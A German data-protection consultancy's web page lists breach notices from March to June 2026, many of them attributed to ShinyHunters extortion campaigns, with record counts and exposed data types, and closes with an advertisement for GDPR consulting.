05.06.2026 - Madison Square Garden Sports 9.796.738 Datensätze geleaked
Customer service records, Email addresses, Names, Phone numbers, Physical addresses

In June 2026, the sports and entertainment company Madison Square Garden Sports was the target of a ShinyHunters "pay or leak" extortion campaign. The group later published the alleged data, which included almost 10M unique email addresses spanning staff and customers, along with extensive personal, employment and customer relationship information.
30.05.2026 - Atlas Menu 63.926 Datensätze geleaked
Email addresses, IP addresses, Passwords, Support tickets, Usernames

In May 2026, the GTA V and CS2 cheat service Atlas Menu suffered a data breach. An attacker claimed to have gained access to all Atlas systems and published the service's database to a public GitHub repository. The incident exposed 64k unique email addresses along with usernames, IP addresses, support tickets and passwords stored as bcrypt hashes.
29.05.2026 - BCD Travel 396.313 Datensätze geleaked
Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses, Support tickets

In May 2026, the corporate travel management company BCD Travel was claimed as a victim of the ShinyHunters "pay or leak" extortion campaign. Data allegedly obtained from BCD was subsequently published publicly in early June and contained 396k unique email addresses. Other exposed data included names, addresses, phone numbers, job titles and employer names, spanning a variety of different data sets including leads, internal staff and support tickets.
23.05.2026 - Baker Distributing 102.935 Datensätze geleaked
Email addresses, Names, Phone numbers, Physical addresses, Support tickets

In May 2026, the HVAC/R wholesale distributor Baker Distributing Company was added to the ShinyHunters data extortion group's "pay or leak" site. In early June, the group publicly published data they claimed had been obtained from Baker's SharePoint and Salesforce infrastructure including 103k unique email addresses along with names, physical addresses, phone numbers and tickets relating to the company's HVAC contractor customer base. The exposed data was largely corporate contact and support information with limited sensitivity.
23.05.2026 - Charter 4.851.517 Datensätze geleaked
Email addresses, Job titles, Names, Phone numbers, Physical addresses

In May 2026, the telecommunications company Charter Communications (the parent company behind the consumer broadband and cable brand Spectrum) was named by the ShinyHunters group in a "pay or leak" extortion campaign. The group later published the data, which exposed 4.9M unique email addresses along with names, phone numbers and physical addresses. A subset of approximately 85k records originating from an internal employee directory also included job titles. Charter confirmed the incident, but stated that no sensitive personal information or customer proprietary network information (CPNI) was exfiltrated.
23.05.2026 - DentaQuest 2.553.599 Datensätze geleaked
Dates of birth, Email addresses, Genders, Government issued IDs, Health insurance information, Names, Phone numbers, Physical addresses

In May 2026, the dental benefits administrator DentaQuest was the target of a ShinyHunters "pay or leak" extortion campaign that resulted in the group publicly publishing hundreds of gigabytes of data allegedly obtained from the company. The data included 2.6M unique email addresses along with names, addresses and phone numbers. Much of the data appeared in healthcare enrollment files (ASC X12 transaction sets) with some containing Medicaid IDs, while additional data appeared in member records and related files. DentaQuest acknowledged "a cybersecurity incident involving unauthorized access to a limited portion of our network", and advised they had contained the attack and mitigated the threat.
05.05.2026 - Cushman & Wakefield 310.431 Datensätze geleaked
Email addresses, Job titles, Names, Phone numbers, Physical addresses, Salutations

In May 2026, the real estate services firm Cushman & Wakefield was the target of a "pay or leak" extortion campaign by the ShinyHunters group. Following the threat, the group publicly published data they alleged had been obtained from the firm, consisting mostly of C&W email addresses along with tens of thousands of external email addresses and corporate contact records. The exposed data was primarily business information, including names, job titles, company addresses and phone numbers.
30.04.2026 - Reborn Gaming 126 Datensätze geleaked
Email addresses, IP addresses

In April 2026, the gaming community Reborn Gaming suffered a data breach due to a vulnerability in cPanel and WebHost Manager (WHM). The breach exposed 126 unique email addresses along with IP addresses and Steam IDs. Reborn Gaming self-submitted the data to Have I Been Pwned.
28.04.2026 - Vimeo 119.167 Datensätze geleaked
Email addresses, Names

In April 2026, the ShinyHunters extortion group listed Vimeo on their extortion portal as part of their "pay or leak" campaign. They subsequently published hundreds of gigabytes of data, predominantly consisting of video titles, technical data and metadata. The data also included 119k unique email addresses, sometimes accompanied by names. Vimeo attributed the exposure to a breach of Anodot, a third-party analytics vendor, and advised the incident does not include "Vimeo video content, valid user login credentials, or payment card information".
26.04.2026 - CTT 468.124 Datensätze geleaked
Email addresses, Names, Phone numbers

In April 2026, data allegedly obtained from CTT, Portugal's national postal service, was posted to a public hacking forum. The data included 468k unique email addresses along with names, phone numbers and parcel tracking numbers which can be used to retrieve the tracking history of the parcel.
24.04.2026 - Udemy 1.401.259 Datensätze geleaked
Email addresses, Employers, Job titles, Names, Payment methods, Phone numbers, Physical addresses

In April 2026, online training company Udemy was the victim of a “pay or leak” extortion attempt perpetrated by the ShinyHunters group. The data was subsequently leaked publicly and contained 1.4M unique email addresses belonging to customers and instructors. The data also included names, physical addresses, phone numbers, employer information and instructor payout methods including PayPal, cheque and bank transfer.
20.04.2026 - ADT 5.488.888 Datensätze geleaked
Dates of birth, Email addresses, Names, Partial government issued IDs, Phone numbers, Physical addresses

In April 2026, home security firm ADT confirmed a data breach by ShinyHunters, which listed the company on its website as part of a "pay or leak" extortion attempt. The breach impacted 5.5M unique email addresses along with names, phone numbers and physical addresses. ADT also advised that "in a small percentage of cases, dates of birth and the last four digits of Social Security numbers or Tax IDs were included" and that it had contacted all affected people.
20.04.2026 - Aman 215.563 Datensätze geleaked
Dates of birth, Email addresses, Genders, Language preferences, Names, Nationalities, Phone numbers, Physical addresses, Spouses names, VIP statuses

In April 2026, the ultra-luxury hotel brand Aman was named by ShinyHunters as the target of a "pay or leak" extortion campaign, with the data allegedly obtained from their Salesforce CRM. The data was subsequently leaked publicly and contained over 200k unique email addresses. Whilst not present on all records, the data also included genders, physical addresses, phone numbers, nationalities, dates of birth, spouse names and VIP status codes.
20.04.2026 - Canada Life 237.810 Datensätze geleaked
Email addresses, Job titles, Names, Phone numbers, Physical addresses, Salutations, Support tickets

In April 2026, Canada Life was the victim of a "pay or leak" extortion campaign by the ShinyHunters group. The group subsequently published the data which contained over 200k unique email addresses along with names, phone numbers, physical addresses and, in some cases, customer support tickets. In their disclosure notice, Canada Life advised that "it is a small proportion of our customers who may have been impacted". In the wake of the incident, Canada Life also published an alert cautioning customers to be wary of phishing attacks, a pattern often seen after the public release of breached data.
20.04.2026 - Pitney Bowes 8.243.989 Datensätze geleaked
Email addresses, Job titles, Names, Phone numbers, Physical addresses

In April 2026, the hacking collective ShinyHunters claimed to have obtained data from Pitney Bowes as part of a broader extortion campaign that also named several other organisations. After negotiations allegedly failed, the group publicly released the data which included 8.2M unique email addresses, along with names, phone numbers and physical addresses. A subset of the data also included Pitney Bowes employee records with job titles.
18.04.2026 - Carnival 7.531.359 Datensätze geleaked
Dates of birth, Email addresses, Genders, Geographic locations, Loyalty program details, Names, Salutations

In April 2026, the notorious hacking collective ShinyHunters claimed they had obtained a substantial volume of data belonging to the Carnival cruise operator and attempted to extort the organisation to prevent the data from being leaked. The following week, the group published the data publicly, which contained 8.7M records with 7.5M unique email addresses. The data contained fields indicating it related to the Mariner Society loyalty program run by Holland America, a cruise line brand under Carnival, and included names, dates of birth, genders and data relating to status within the loyalty program. Carnival acknowledged a phishing incident involving a single user account and advised they were working to better understand the scope of the unauthorised activity.
15.04.2026 - Kemper 269.299 Datensätze geleaked
Email addresses, Names, Partial credit card data, Phone numbers, Physical addresses, Purchases

In April 2026, the American insurance holding company Kemper Corporation was named by the ShinyHunters ransomware group in a "pay or leak" extortion campaign. The attackers allegedly accessed Kemper's Salesforce environment via social engineering as part of a broader campaign targeting hundreds of organisations using the same method. The group later published tens of gigabytes of data they claimed included internal directory data, Salesforce records and Stripe payment logs. Among the 269k unique email addresses were names, phone numbers, physical addresses and partial payment card data including the last 4 digits, expiry dates and card brands. Kemper confirmed the incident and stated they had engaged third-party cybersecurity experts and notified law enforcement.
15.04.2026 - Zara 197.376 Datensätze geleaked
Email addresses, Geographic locations, Purchases, Support tickets

In April 2026, the fashion brand Zara was among a number of organisations targeted by the ShinyHunters extortion group as part of their "pay or leak" campaign. The group claimed the breach was related to a compromise of the Anodot analytics platform and subsequently published a terabyte of data allegedly including 95M support ticket records. The data contained 197k unique email addresses alongside product SKUs, order IDs and the market the support ticket originated in. Zara's parent company Inditex advised that the incident didn't affect passwords or payment information.
14.04.2026 - Abrigo 711.099 Datensätze geleaked
Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses

In April 2026, the fintech software company Abrigo was targeted in a "pay or leak" extortion attempt by the ShinyHunters group. Shortly after, data allegedly taken from the company's Salesforce instance was published publicly and contained over 700k unique email addresses belonging to both Abrigo staff and external contacts. Whilst separate from Abrigo's Salesforce compromise via the Drift application connector the previous year, the data fields described in that incident are consistent with the ShinyHunters data, namely that it was "business contact information" including "institution name, employee name, email addresses, and phone numbers".
12.04.2026 - Marcus & Millichap 1.837.078 Datensätze geleaked
Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses

In April 2026, the commercial real estate brokerage firm Marcus & Millichap was named as one of multiple alleged victims of the ShinyHunters hacking and extortion group. Data alleged to have been obtained from the company was subsequently released publicly and included 1.8M unique email addresses, along with names, phone numbers and employment-related information including employer, job title and physical company address. In their disclosure notice, Marcus & Millichap advised that data which may have been accessed appeared limited to "company forms, templates, marketing materials, and general contact information".
12.04.2026 - Mytheresa 84.108 Datensätze geleaked
Email addresses, Names, Partial credit card data, Phone numbers, Physical addresses, Purchases, Salutations

In April 2026, the luxury fashion e-commerce platform Mytheresa was listed as a victim of the ShinyHunters "pay or leak" extortion group. After the ransom deadline passed, the group publicly released the data which contained 84k unique email addresses. The exposed data also included names, phone numbers, physical addresses, purchases and partial credit card data including card type, last 4 digits and expiry date.
10.04.2026 - McGraw Hill 13.500.136 Datensätze geleaked
Email addresses, Names, Phone numbers, Physical addresses

In April 2026, education company McGraw Hill confirmed a data breach following an extortion attempt. Attributed to a Salesforce misconfiguration, the company stated the incident exposed "a limited set of data from a webpage hosted by Salesforce on its platform". More than 100GB of data was later publicly distributed, containing 13.5M unique email addresses across multiple files, with additional fields such as name, physical address and phone number appearing inconsistently across some records.
08.04.2026 - 7-Eleven 185.256 Datensätze geleaked
Dates of birth, Email addresses, Names, Phone numbers, Physical addresses

In April 2026, 7-Eleven was the victim of a "pay or leak" extortion campaign by ShinyHunters, with the data later published that month. The incident exposed 185k unique email addresses, along with names, physical addresses, dates of birth and phone numbers. A small number of records also contained additional exposed data fields. The company later advised the breach was limited to "certain 7-Eleven systems used to store franchisee documents", a statement consistent with the exposed data.
07.04.2026 - My Lovely AI 106.271 Datensätze geleaked
Email addresses, Social media profiles

In April 2026, the NSFW AI girlfriend platform My Lovely AI suffered a data breach that exposed over 100k users. The data included user-created prompts and links to the resulting AI-generated images, along with a small number of Discord and X usernames.
06.04.2026 - LegionProxy 10.144 Datensätze geleaked
Email addresses, Names, Passwords, Purchases

In April 2026, the commercial residential and ISP proxy network LegionProxy suffered a data breach. The incident exposed 10k email addresses, bcrypt password hashes, names and purchases.
03.04.2026 - Amtrak 2.147.679 Datensätze geleaked
Email addresses, Names, Physical addresses, Support tickets

In April 2026, the hacking group ShinyHunters claimed they had breached Amtrak. The group typically compromises organisations' Salesforce instances before demanding a ransom and later, if not paid, dumping the data publicly. They subsequently published the alleged data which contained over 2M unique email addresses along with names, physical addresses and customer support records.
02.04.2026 - SongTrivia2 291.739 Datensätze geleaked
Auth tokens, Avatars, Email addresses, Names, Passwords, Usernames

In April 2026, the music trivia platform SongTrivia2 suffered a data breach that was subsequently published to a public hacking forum. The data contained a total of 291k unique email addresses sourced from either Google OAuth logins or accounts created on the site, the latter also containing bcrypt password hashes. The data also included names, usernames and avatars.
31.03.2026 - Hallmark 1.736.520 Datensätze geleaked
Email addresses, Names, Phone numbers, Physical addresses, Support tickets

In March 2026, Hallmark suffered an alleged breach and subsequent extortion after attackers gained access to data stored within Salesforce. The data was later published after the extortion deadline passed, exposing 1.7M unique email addresses across both Hallmark and the Hallmark+ streaming service, along with names, phone numbers, physical addresses and support tickets.
27.03.2026 - ZenBusiness 5.118.184 Datensätze geleaked
Email addresses, Names, Phone numbers

In March 2026, the hacker and extortion group "ShinyHunters" claimed to have obtained a substantial corpus of data from ZenBusiness, a business formation and compliance platform. The group claimed the data had been exfiltrated from platforms including Snowflake, Mixpanel and Salesforce, and threatened to publish it if a ransom was not paid. The following month, after claiming payment had not been made, ShinyHunters publicly released the data. The collection amounted to many terabytes across thousands of files that appeared to originate from multiple systems and business functions, including leads, support records and other CRM-related data. The data contained approximately 5M unique email addresses, often accompanied by name and phone number depending on the source file.
26.03.2026 - BreachForums Version 5 339.778 Datensätze geleaked
Email addresses, Passwords, Usernames

In March 2026, a breach of one of the many iterations of the BreachForums hacking forum known as "Version 5" was publicly disclosed. The incident exposed 340k unique email addresses along with usernames and argon2 password hashes.
25.03.2026 - Addi 34.532.941 Datensätze geleaked
Age groups, Credit scores, Device information, Email addresses, Government issued IDs, Income levels, IP addresses, Latitude and longitude pairs, Names, Phone numbers, Physical addresses, Purchases, Socioeconomic levels

In March 2026, the Colombian fintech company Addi identified unauthorised activity on its platform and advised customers that "it is possible that your personal information may have been compromised". The "pay or leak" extortion group ShinyHunters subsequently claimed responsibility and published a large trove of personal data allegedly obtained from Addi. The data included 34M unique email addresses from credit scoring requests, credit bureau records, customer identity records and email validation logs. It also contained government issued IDs (Cédula de Ciudadanía), estimated income, socioeconomic levels, purchases and other credit-related data points.
25.03.2026 - Sound Radix 292.993 Datensätze geleaked
Email addresses, Names, Passwords

In March 2026, the audio production tools company Sound Radix disclosed a data breach that they subsequently self-submitted to HIBP. The incident impacted 293k unique email addresses and names. Sound Radix advised that it is possible that additional data including hashed passwords may have been exposed, and that no financial or credit card information was impacted.
19.03.2026 - Berkadia 305.216 Datensätze geleaked
Email addresses, Employers, Names, Phone numbers, Physical addresses

In March 2026, the commercial real estate finance company Berkadia was the target of a ShinyHunters "pay or leak" extortion campaign. The group subsequently published data they alleged was taken from Berkadia's Salesforce instance, including over 300k unique email addresses as well as names, physical addresses and phone numbers, among other data.
18.03.2026 - Infinite Campus 137.123 Datensätze geleaked
Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses, Support tickets, Usernames

In March 2026, the student information system Infinite Campus was targeted in a ShinyHunters "pay or leak" extortion campaign. The group subsequently published data they alleged was taken from Infinite Campus, containing 137k unique email addresses along with names, phone numbers, physical addresses and support tickets. Infinite Campus subsequently sent notifications, advising that the exposed data largely consisted of "names and contact information for school staff" and that "the majority is directory information commonly found on school websites".
Sind Sie betroffen? Hier prüfen!






Unsere TÜV-geprüften Berater sind für Sie da!

Wir haben Experten sowohl für die rechtlichen Anforderungen durch die DSGVO und das Bundesdatenschutzgesetz als auch für die technische Seite der IT-Sicherheit. Wir können Sie dahingehend über mögliche technische Risiken und Schutzmaßnahmen gleichermaßen beraten wir zur Umsetzung der gesetzlichen Anforderungen an den Datenschutz im Unternehmen und im Verein. Von den technischen und organisatorischen Maßnahmen über das Verfahrensverzeichnis sowie die praktische Umsetzung der Vorgaben können wir Sie gerne unterstützen.

Unsere Datenschutz-Experten beraten Sie gerne »





Keine Angst vor der DSGVO - wir helfen!










© 2012 - 2026 | SD Software-Design GmbH
Impressum | Datenschutz | Karriere | Online-Services